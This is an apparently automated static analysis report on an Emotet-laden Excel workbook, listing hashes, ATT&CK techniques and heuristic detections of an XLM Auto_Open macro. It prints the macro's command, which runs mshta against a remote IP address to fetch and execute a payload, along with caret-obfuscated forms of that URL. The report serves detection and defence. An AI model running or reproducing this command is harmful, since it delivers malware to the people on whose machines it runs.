Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 aaa8079a9c9eda6f…

MALICIOUS

Office (OLE) / .XLSX

36.2 KB Created: 2022-01-27 20:50:39 Authoring application: Microsoft Excel
MD5: b2ff7975fc16c578027e87cc2d63efd5 SHA-1: c3e163b2127f7fbf8de65045ed1e82f391e66582 SHA-256: aaa8079a9c9eda6f8fa98f7a71800ec53a5e639df2c8a29b376f0cc7c3bd7d40
322 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.003 Command and Scripting Interpreter: Windows Command Shell T1218.010 System Binary Proxy Execution: Mshta T1059.005 Command and Scripting Interpreter: Visual Basic for Applications T1059.001 Command and Scripting Interpreter: PowerShell

The sample uses an Excel 4.0 macro (XLM) with an Auto_Open trigger to execute the command "CMD.EXE /c ms^hta http://91.240.118.168/oo/aa/se.html". This pattern of using mshta to download and execute a remote payload is characteristic of Emotet, which is further supported by the ClamAV detection. The reconstructed URL is http://91.240.118.168/oo/s^e.html.

Heuristics 8

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • ClamAV: Xls.Downloader.Emotet-a5251d3d2d6d3722-9951020-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-a5251d3d2d6d3722-9951020-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://91.2^40.118.1^68/oo/aa/s^e.ht^m^lB
    • http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
23325ee193a0feb6511be862c11cb89b33831fbff792eb1bfbc3606b208200cb		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 525 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s). Carved macro source contains an auto-exec entry point and execution/download terms.

Open this report in the interactive analyzer, or submit your own file for analysis.